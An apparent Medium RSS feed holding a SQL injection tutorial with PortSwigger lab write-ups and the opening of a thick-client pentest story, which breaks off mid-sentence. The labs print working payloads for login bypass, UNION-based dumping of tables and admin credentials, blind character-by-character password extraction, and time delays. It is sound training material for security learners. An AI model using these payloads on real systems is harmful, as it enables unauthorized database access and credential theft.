<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ezhacker on Medium]]></title>
        <description><![CDATA[Stories by Ezhacker on Medium]]></description>
        <link>https://medium.com/@fardinzindran?source=rss-94b3887a2953------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7NHJhQtksoYbxQF3bKPNcw.jpeg</url>
            <title>Stories by Ezhacker on Medium</title>
            <link>https://medium.com/@fardinzindran?source=rss-94b3887a2953------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:37:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fardinzindran/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL Injection Explained: Real-World Examples and Backend Logic Breakdown]]></title>
            <link>https://medium.com/@fardinzindran/sql-injection-0e248cfd2db7?source=rss-94b3887a2953------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e248cfd2db7</guid>
            <dc:creator><![CDATA[Ezhacker]]></dc:creator>
            <pubDate>Thu, 10 Jul 2025 12:23:23 GMT</pubDate>
            <atom:updated>2025-07-10T13:19:26.875Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Writeup by : Fardin Zindran</blockquote><h3>SQL</h3><ul><li>SQL stands for Structured Query Language</li><li>SQL lets you access and manipulate databases</li><li>SQL became a standard of the American National Standards Institute (ANSI) in 1986, and of the International Organization for Standardization (ISO) in 1987</li></ul><h3>What Can SQL do?</h3><ul><li>SQL can execute queries against a database</li><li>SQL can retrieve data from a database</li><li>SQL can insert records in a database</li><li>SQL can update records in a database</li><li>SQL can delete records from a database</li><li>SQL can create new databases</li><li>SQL can create new tables in a database</li><li>SQL can create stored procedures in a database</li><li>SQL can create views in a database</li><li>SQL can set permissions on tables, procedures, and views</li></ul><h3>what is SQL Injection?</h3><p>SQL Injection is a security vulnerability that occurs when an attacker is able to insert malicious SQL code into an application that interacts with a database. This can happen if user input is not properly sanitized, allowing the attacker to manipulate the database query and access or modify data they shouldn’t.</p><h3>Example:</h3><p>Many web applications are connected to a database. The database holds all the information the web application wish to store and use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*beS13X2JaqyR-3vMNrKe2g.png" /></figure><p>SQL Injection is a technique which allows attackers to manipulate the SQL Query the developer of the web application is using. This typically happens because of lack of data sanitization. SQL is used regularly by developers to access database resources.</p><h3>Types of SQL Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmDgzWhTpdTzZEYpsA9f6w.png" /></figure><h3>In-band SQLi</h3><p>The attacker uses the same channel of communication to launch their attacks and to gather their results. In-band SQLi’s simplicity and efficiency make it one of the most common types of SQLi attack. There are two sub-variations of this method</p><p><strong>Error-based SQLi</strong></p><p>The attacker performs actions that cause the database to produce error messages. The attacker can potentially use the data provided by these error messages to gather information about the structure of the database.</p><p><strong>Union-based SQLi</strong></p><p><strong>Union-based SQL injection</strong> uses the UNION operator to combine results from multiple SELECT queries. This allows attackers to fetch data from other tables, like usernames or passwords, in the same response from the server.</p><p><strong>Time-based</strong></p><p>Attacker sends a SQL query to the database, which makes the database wait (for a period in seconds) before it can react. The attacker can see from the time the database takes to respond, whether a query is true or false. Based on the result, an HTTP response will be generated instantly or after a waiting period. The attacker can thus work out if the message they used returned true or false, without relying on data from the database.</p><h3>Blind SQLi</h3><p>The attacker sends data payloads to the server and observes the response and behavior of the server to learn more about its structure. This method is called blind SQLi because the data is not transferred from the website database to the attacker, thus the attacker cannot see information about the attack in-band.</p><p>Blind SQL injections rely on the response and behavioral patterns of the server so they are typically slower to execute but may be just as harmful. Blind SQL injections can be classified as follows:</p><p><strong>Boolean</strong> that attacker sends a SQL query to the database prompting the application to return a result. The result will vary depending on whether the query is true or false. Based on the result, the information within the HTTP response will modify or stay unchanged. The attacker can then work out if the message generated a true or false result.</p><h3>Out-of-band SQLi</h3><p>The attacker can only carry out this form of attack when certain features are enabled on the database server used by the web application. This form of attack is primarily used as an alternative to the in-band and inferential SQLi techniques.</p><p>Out-of-band SQLi is performed when the attacker can’t use the same channel to launch the attack and gather information, or when a server is too slow or unstable for these actions to be performed. These techniques count on the capacity of the server to create DNS or HTTP requests to transfer data to an attacker.</p><p>Payloads and cheatsheats</p><pre>&lt;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&gt;<br>&lt;https://portswigger.net/web-security/sql-injection/cheat-sheet&gt;<br>&lt;https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet&gt;<br>&lt;https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/MySQL%20Injection/#extract-columns-name-without-information_schema&gt;</pre><p>SQL playground</p><pre>&lt;https://sqlplayground.app/&gt;</pre><h3>PORTSWIGGER LABS</h3><h3>1. Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</h3><h3>Objective:</h3><p>Exploit SQL injection in the category filter to view unreleased products</p><p>The application carries out a SQL query like the following:</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39; AND released = 1</pre><h3>Solution:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AbDvHtSErwTVqucpm3dSZQ.png" /></figure><p>category id = Gifts and content length here is 4805</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFMDPjB7xcPTxys4dm8YnA.png" /></figure><p>Adding a &#39; caused a <strong>500 Internal Server Error</strong>, which is a clear hint that <strong>SQL injection is possible here</strong>.</p><p>backend logic here</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39;&#39; AND released = 1;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFMDPjB7xcPTxys4dm8YnA.png" /></figure><p>Gifts’’ results in an <strong>unescaped extra quote</strong>, causing a <strong>syntax error</strong> in SQL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUwKGiwbg40uv21cLUOO8w.png" /></figure><p>Injected a boolean-based SQL injection payload. The response showed an increase in content length, indicating a successful SQL injection.</p><p>Payload use (url encoded)</p><pre>category=Gifts&#39;+OR+1%3d1--+</pre><h3>2. Lab: SQL injection vulnerability allowing login bypass</h3><h3>Objective:</h3><p>This lab contains a SQL injection vulnerability in the login function.</p><p>To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.</p><h3>Solution:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*66XM8nWc4G7KpMYxDI--6g.png" /></figure><p>Login as Administrator and add any password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eF2KLTgypxlQJj5hE817Qg.png" /></figure><p>Backend logic here</p><pre>SELECT * FROM users WHERE username = &#39;input&#39; AND password = &#39;input&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvxx12trgFjyZ0I-PERGcA.png" /></figure><p>Adding a &#39; caused a <strong>500 Internal Server Error</strong>, which is a clear hint that <strong>SQL injection is possible here</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWesExi126UtEM0WeU0HPw.png" /></figure><p>here we know administrator is a valid user so we manipulated the backend</p><pre>SELECT * FROM users WHERE username = &#39;administrator&#39; OR 1=1-- -</pre><pre>-- rest is ignored</pre><p>here we logged in as administrator without knowing the correct password.</p><h3>3. Lab: SQL injection attack, querying the database type and version on Oracle</h3><h3>Objective:</h3><p>This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.</p><h3>Solution:</h3><p>The backend database is oracle, The below cheatsheat contains all the oracle related payloads</p><pre>&lt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44Ummp-0K3w6pwSUFJM_eA.png" /></figure><p>category id = Gifts and content length here is 8807</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bcOXIR09CMy3yM5_WLKANQ.png" /></figure><p>Adding a &#39; caused a <strong>500 Internal Server Error</strong>, which is a clear hint that <strong>SQL injection is possible here</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgiZ1jSGFvh2eK3Gmlt4aA.png" /></figure><p>increase in content length means successful sql injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lfhRo8C1jGY8vpujZMC9Q.png" /></figure><p>500 internal server error again and again for union based sql injection</p><p>Unlike MySQL or PostgreSQL, <strong>Oracle requires</strong> the following in a UNION SELECT:</p><ol><li>Every SELECT must have the <strong>same number of columns</strong></li><li>Every SELECT must match the <strong>data types</strong> in each column position</li><li>You <strong>must</strong> select from the dummy table DUAL if your SELECT clause doesn’t come from a real table</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4P57vMPhPxbWKnG6Ba1-tw.png" /></figure><p>Now it worked with dummy database Dual The number of columns here are 2</p><p>database retrieval — oracle</p><p>SELECT version FROM v$instance</p><p>SELECT banner FROM v$version</p><pre>category=Gifts&#39;+UNION+SELECT+NULL,banner+FROM+v$version--+-</pre><p>backend logic here</p><pre>SELECT id, name FROM products WHERE category = &#39;Gifts&#39;<br>UNION SELECT NULL, banner FROM v$version;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WN860akHtbcqw9jT32eAbw.png" /></figure><h3>4. Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.</p><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgRu9IIhgnSOcbKEFqa5jg.png" /></figure><p>The number of columns here are 2</p><p>for Microsoft and Mysql Database version</p><pre>SELECT @@version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6RQLQ3Kw4tWHAtDe1wzlw.png" /></figure><h3>5. Lab: SQL injection attack, listing the database contents on non-Oracle databases</h3><h3>Objective:</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.</p><p>The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.</p><h3>Solution:</h3><p>For non oracle database</p><pre>Microsoft	<br>SELECT * FROM information_schema.tables<br>SELECT * FROM information_schema.columns WHERE table_name = &#39;TABLE-NAME-HERE&#39;<br>PostgreSQL	<br>SELECT * FROM information_schema.tables<br>SELECT * FROM information_schema.columns WHERE table_name = &#39;TABLE-NAME-HERE&#39;<br>MySQL	<br>SELECT * FROM information_schema.tables<br>SELECT * FROM information_schema.columns WHERE table_name = &#39;TABLE-NAME-HERE&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ga3fREj0RmMUilTgqtmBKA.png" /></figure><p>The number of columns here are 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sVAT0ZGhRUT2-Ip2RXV9rw.png" /></figure><p>retrieved table name using union based sql injection attack</p><pre>Gifts&#39; UNION SELECT table_name,NULL From information_schema.tables-- -</pre><p>The users_pbpkuk table contains user details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rF_5Zor5T6oUb68dfooByA.png" /></figure><p>extracting column names from table</p><pre>category=Gifts&#39; UNION SELECT column_name,NULL From information_schema.columns where table_name = &#39;users_pbpkuk&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6om7auoXR1rjmTXJnELJKQ.png" /></figure><p>dumping administrator username and password and this will solve the lab</p><h3>6. Lab: SQL injection attack, listing the database contents on Oracle</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.</p><p>The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.</p><p>To solve the lab, log in as the administrator user.</p><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JhtFELi636ie1gsn12L4ew.png" /></figure><p>Retrieved Number of Columns Using Oracle’s Dummy Table “DUAL”</p><p>oracle database contents</p><pre>SELECT * FROM all_tables<br>SELECT * FROM all_tab_columns WHERE table_name = &#39;TABLE-NAME-HERE&#39;</pre><p>the payload to retrieve table name will be</p><pre>Pets&#39; UNION SELECT table_name,NULL FROM all_tables-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9HZgDShZZxLBUfEs7BgGg.png" /></figure><p>extracted table name “USERS_WDAXLW”</p><p>now need to extract column names in the table</p><pre>Pets&#39; UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name = &#39;USERS_WDAXLW&#39; -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9HZgDShZZxLBUfEs7BgGg.png" /></figure><p>column names</p><pre>USERNAME_SBYNIO<br>PASSWORD_ZVIPRO</pre><p>the final query to extract administrator username and password becomes</p><pre>Pets&#39; UNION SELECT USERNAME_SBYNIO,PASSWORD_ZVIPRO FROM USERS_WDAXLW -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klMXMpCEeRA3yJ8_V1sNNw.png" /></figure><p>extracted username password and this will solve the lab</p><h3>7. Lab: SQL injection UNION attack, determining the number of columns returned by the query</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.</p><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alEdk4ZHByDLJ3gHbxOjdg.png" /></figure><p>number of column s are 3 and this will solve the lab</p><h3>8. Lab: SQL injection UNION attack, finding a column containing text</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query.The next step is to identify a column that is compatible with string data.</p><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHlqBBg9dieAmNbdnbDRSA.png" /></figure><p>number of colums are 3</p><p>Next, we need to determine which column can display text. To do that, we’ll replace each NULL with a string like &#39;abc&#39; one at a time to see which column outputs the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUq2E_Rs0y7ziGxHc4IO5g.png" /></figure><p>The 2nd column displays text and this will solve the lab</p><h3>9. Lab: SQL injection UNION attack, retrieving data from other tables</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine someof the techniques you learned in previous labs.</p><p>The database contains a different table called users, with columns called username and password.</p><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQIVe2WwknSmuIo2iMc9Jg.png" /></figure><p>here number of columns are 3</p><p>as we have the details of table name and column name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oBxANXYp5Ur6XJV7JCEgLQ.png" /></figure><p>we retrieved administrator’s password and this will solve the lab</p><h3>10. Lab: SQL injection UNION attack, retrieving multiple values in a single column</h3><h3>Objective</h3><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.The database contains a different table called users, with columns called username and password.</p><h3><strong>Solution</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xx7v13CewIw7B-f8jdJz0Q.png" /></figure><p>Number of columns are 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcL9Etn3mdbubgolHz4snQ.png" /></figure><p>internal server error means the original query likely expects <strong>only one column</strong>, while our injection provides <strong>two columns</strong></p><p>modify the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHmzuJ2fpgx-IVeXPf97CQ.png" /></figure><p>again internal server error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbZ8wKH0XnxppBGBczTxJA.png" /></figure><p>using username in second column worked we able to retrieve the usernames</p><p>To retrieve passwords we need string concatenation</p><pre>Oracle 	&#39;foo&#39;||&#39;bar&#39;<br>Microsoft 	&#39;foo&#39;+&#39;bar&#39;<br>PostgreSQL 	&#39;foo&#39;||&#39;bar&#39;<br>MySQL 	&#39;foo&#39; &#39;bar&#39; <br>CONCAT(&#39;foo&#39;,&#39;bar&#39;)</pre><p>There are multiple ways to concat two columns lets try it with CONCAT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41zPmgrQwNp4j8Thj1ZUAg.png" /></figure><p>concatenating two columns to get username and password</p><p>CONCAT_WS(Alternative)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvpbm1tlZi5cY0fExhvMYg.png" /></figure><p>better way to concat using concat_ws (concat with seperator) This will solve the lab</p><blockquote><em>Note: To extract values from actual database columns, you must </em><strong><em>not quote the column names</em></strong></blockquote><h3>11.Lab: Blind SQL injection with conditional responses</h3><h3>Objective</h3><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes aWelcome back message in the page if the query returns any rows. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.</p><h3>Solution:</h3><p>Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application’s response.</p><p>How to proceed?</p><p>The vulnerable input is in the <strong>tracking cookie</strong>. The “Welcome back” message is your signal — it appears <strong>only</strong> when the SQL query returns a result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9euRoJknoLBiQjKv_O0YBQ.png" /></figure><p>for every true request we are getting welcome back in response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vadXZL9mcUVwEHDF0e2Sbg.png" /></figure><p>adding ‘ in tracking cookie and we can see no welcome back prompt!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_zABehtU-XCyOpYwTrmmQg.png" /></figure><p>“The payload AND 1=1 — - leads to a correct result, as we can see the &#39;Welcome back&#39; message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFbEdoyDSQ0Uej_uxQtRCA.png" /></figure><p>No welcome back message for AND &#39;1&#39;=&#39;2 confirms that there is blind sql injection is present</p><p>info we have is</p><p>table_name = users</p><p>column_name = username , password</p><p>End Goal</p><p>Administrator’s password</p><p>We’ll use the SUBSTRING() function to extract the administrator&#39;s password one character at a time, since blind SQL injection doesn&#39;t show the full result since the website doesn’t show the password directly, we use SUBSTRING() to check one letter at a time and figure out the full password through yes/no responses</p><p>correct response should include — welcome back message</p><p>The SUBSTRING() function is used to pull out a part of a string.</p><pre>SUBSTRING(string, start, length)</pre><p>string : The text you want to take a piece from.</p><p>start : The start parameter is used to define the starting position of the string if it is a positive number, the function starts from the beginning of the string, and if it is a negative number, the function starts from the end of the string.</p><p>length : length parameter is used to specify the number of characters we want to extract from the string. Without this, the entire string from the start position is returned.</p><p>For more information this blog is helpful</p><p><a href="https://www.simplilearn.com/tutorials/sql-tutorial/sql-substring">https://www.simplilearn.com/tutorials/sql-tutorial/sql-substring</a></p><p>our base here is this condition</p><pre>‘ AND ‘1’=’1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*viBhV_hRrDMs1tgDaf8hGw.png" /></figure><p>‘a’=’a is true — welcome back message</p><p>Lets check if users table exits or not</p><p>The query will become</p><pre>‘ AND (SELECT ‘a‘ from users LIMIT 1)=’a</pre><p>Limit is is just for 1 row only from the table</p><p>the backend logic here is</p><ul><li>“Go to the users table&quot;</li><li>“Pick the first row (LIMIT 1)&quot;</li><li>“Ignore all actual columns”</li><li>“Just return the string &#39;a&#39;&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OecG3mKel1ZWDYmBRU6h7A.png" /></figure><p>confirm that column username and password exist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJdwy-4kU-Fju7uSXA7l8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ew3bTnD_h3VRHY_UAR7BfQ.png" /></figure><p>Now we need to check does administrator user exist in table users</p><p>main query</p><pre>‘ AND ‘a’=’a</pre><p>the final query becomes</p><pre>‘ AND (SELECT ‘a’ FROM TABLE_NAME WHERE COLUMN_NAME=’administrator’)=’a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xa3saM3-iN3CRfRONpae2g.png" /></figure><p>Now need to determine administrator password but for that we need the exact length of password for that query becomes</p><pre>&#39; AND (SELECT &#39;a&#39; from users where username=&#39;administrator&#39;and length(password)&gt;1)=’a</pre><p>if password length is greater than 1 will get welcome back prompt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6B4u7RjFRUl-eOhwoL0GKQ.png" /></figure><p>just change the value until welcome back disappears</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Id1VYYO9vNQVJjHOm7ZQhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4fHCQAeCDM-DloLCnbS3A.png" /></figure><p>The length of password is 20 as &gt;20 we get no welcome back response</p><p>now extract the password using substring</p><p>as we need to extract the password of administrator so reconstruct our main query</p><pre>6rCVC8JneqGHHFv9&#39; AND (SELECT password from users where username=&#39;administrator&#39;)=&#39;a</pre><p>add substring to retrieve the password</p><pre>6rCVC8JneqGHHFv9&#39; AND (SELECT substring(password,1,1) from users where username=&#39;administrator&#39;)=&#39;a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-yuht-ba8Wmmn6syoXabDw.png" /><figcaption>v</figcaption></figure><p>The first character of the password is y</p><p>automate it using intruder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjetYiAeUzXJ4z-lmUr_ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*furNQiSJw9UdwnZbDnH8Xw.png" /></figure><p>another way to do this is</p><pre>&#39; AND SUBSTRING((SELECT Password FROM Users WHERE Username =&#39;administrator&#39;), 1, 3)=&#39;4k7;</pre><p>Here that inner query <strong>returns one string</strong> (the password).</p><p>SUBSTRING() then operates on <strong>that string</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KX5kvs6t97IMme93XHF09g.png" /></figure><h3>12 Lab: Blind SQL injection with time delays</h3><h3>Objective:</h3><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.</p><p>To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.</p><h3>Solution:</h3><h4>Goal:</h4><p>cause a 10 second delay</p><p>payloads for time-based SQL injection</p><pre>Oracle      dbms_pipe.receive_message((&#39;a&#39;),10)<br>Microsoft 	WAITFOR DELAY &#39;0:0:10&#39;<br>PostgreSQL 	SELECT pg_sleep(10)<br>MySQL 	    SELECT SLEEP(10)</pre><p>In <strong>this lab</strong>, the app <strong>doesn’t show anything different</strong> no matter what</p><ul><li>No message like “Welcome back”</li><li>No errors</li><li>No visual clue</li></ul><p>our injection point as per hint is</p><pre>TrackingId=AARuBJTeL5GZUTj5</pre><p>The backend SQL query (my guess)</p><pre>SELECT * FROM tracking WHERE id = &#39;tracking-ID&#39;</pre><p>logic</p><p>the tracking id is not a numeric value its a string so the backend SQL likely wraps it in quotes</p><p>NOTE:</p><p>when we reference database identifiers like table or column names they’re used <strong>without quotes</strong>, unless they contain special characters or are reserved words. For example:</p><pre>SELECT password FROM users WHERE username = &#39;admin&#39;;</pre><ul><li>users → table name → no quotes</li><li>password, username → column names → no quotes</li><li>&#39;admin&#39; → actual string value → must be in quotes</li></ul><p>if we inject payload here like</p><pre>SELECT pg_sleep(10)<br>SELECT SLEEP(10)</pre><pre>tracking_id = &#39;U86B1p6gKjRAOwncD SELECT pg_sleep(10)&#39;</pre><p>it becomes invalid and stuck inside string so we need a way to <strong>execute code inside the string</strong></p><p>so first we need to break the query via single quote</p><pre>tracking_id = &#39;U86B1p6gKjRAOwncD&#39;----&gt;new query here&#39;</pre><p>now the thing is</p><p>We can’t just <em>run</em> pg_sleep(10) as its own command. Instead, we must <strong>sneak it into</strong> the part of the SQL query that’s already running The only way to do that safely is to treat it as <strong>part of an expression - via string concat</strong></p><p>The query becomes</p><p>remember the tracking id is a string and it will be inside quotes as follows</p><pre>tracking_id = &#39;U86B1p6gKjRAOwncD&#39; || pg_sleep(10)--&#39;</pre><p>The final payload becomes</p><pre>&#39; || pg_sleep(10)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iM0_I_V7vrgMsJaaFLUi6Q.png" /></figure><h3>REAL WORLD EXAMPLES</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4LfQjbQYJfaB5-Bw-LLn3A.png" /><figcaption>Example from real world assessment showing retrieval of username via union based sql injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QucvfC1dB14uM98Cca1vTg.png" /><figcaption>Example from real world assessment showing retrieval of table names via union based sql injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaQfC1rP2P4QMphooYAwqg.png" /><figcaption>Example from real world assessment showing Time-based sql injection</figcaption></figure><h3>THANK YOU !!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e248cfd2db7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Thick Client to Database Compromise: What You Need to Know]]></title>
            <link>https://medium.com/@fardinzindran/from-thick-client-to-database-compromise-what-you-need-to-know-364727ebe7bc?source=rss-94b3887a2953------2</link>
            <guid isPermaLink="false">https://medium.com/p/364727ebe7bc</guid>
            <category><![CDATA[thick-client-security]]></category>
            <category><![CDATA[thick-client]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ezhacker]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 09:28:20 GMT</pubDate>
            <atom:updated>2025-03-05T10:12:39.139Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*-1AWga3SxR5Nn-b_.jpg" /></figure><p>“Imagine uncovering a hidden doorway into an application’s entire database, holding sensitive user data just waiting to be exposed. That’s exactly what happened during a recent penetration test of a thick client application. Unlike web apps that rely on server-side security, thick clients handle data locally, often leaving dangerous vulnerabilities hidden beneath the surface. And when security is weak, the consequences aren’t just serious, they’re catastrophic”.</p><p>A thick client (also called a fat client) is a software application that runs on a user’s device rather than in a web browser. Unlike web applications, which rely on cloud or server-side processing, thick clients handle much of the processing locally and communicate with a backend server for data exchange. This makes them more performance-efficient but also opens the door to unique security risks.”</p><p>Examples:</p><ol><li><strong>Microsoft Outlook</strong> — A desktop email client that connects to mail servers but runs locally on a user’s computer.</li><li><strong>Zoom</strong> — A video conferencing application that runs on a user’s device, handling media processing while communicating with Zoom’s cloud servers for meetings and messaging.</li></ol><p><strong>Attack Surfaces I Focused On:</strong></p><p><strong>Local Storage:</strong> Hardcoded credentials, session tokens, config files.<br><strong>Network Traffic:</strong> Unencrypted API calls, direct database queries.<br><strong>Authentication Flaws:</strong> Weak session handling, privilege escalation.<br><strong>Reverse Engineering:</strong> Extracting credentials &amp; API keys from binaries</p><h3><strong>Why is Traffic Analysis Critical in Thick Client Security?</strong></h3><p>Traffic analysis plays a crucial role in identifying vulnerabilities within thick client applications. Since these applications communicate with backend servers via APIs, direct database connections, or proprietary protocols, analyzing this traffic can reveal sensitive data leaks, authentication flaws, and misconfigurations. One of the biggest risks comes from <strong>unencrypted communication</strong>, where thick clients fail to properly implement TLS/SSL encryption.</p><p>Companies often overlook these security risks because thick client applications are primarily used within internal networks, assuming they are safe from external threats. However, internal attacks remain a significant concern</p><p>what if an insider or an attacker with network access sniffs the traffic and captures plaintext credentials? Such vulnerabilities can lead to privilege escalation, unauthorized access, or even lateral movement within the network.</p><h3><strong>How I Compromised the Database</strong></h3><p>The first step in any thick client assessment is to understand its architecture. I loaded the executable into <strong>CFF Explorer</strong> to check whether the application was built using <strong>.</strong>NET, Java, or another framework. This helped me identify key dependencies, external API calls, and linked DLLs, giving insight into how the application operates internally. By analyzing the structure, I mapped out potential areas for exploitation, such as configuration files, embedded credentials, and hardcoded connections.</p><p>Once I had a good understanding of the application, I wanted to see how it communicated with the backend. I set up Wireshark to capture live traffic while interacting with the application. Almost immediately, I noticed something alarming — SQL queries were being sent in plaintext! Not only were these queries visible, but they also 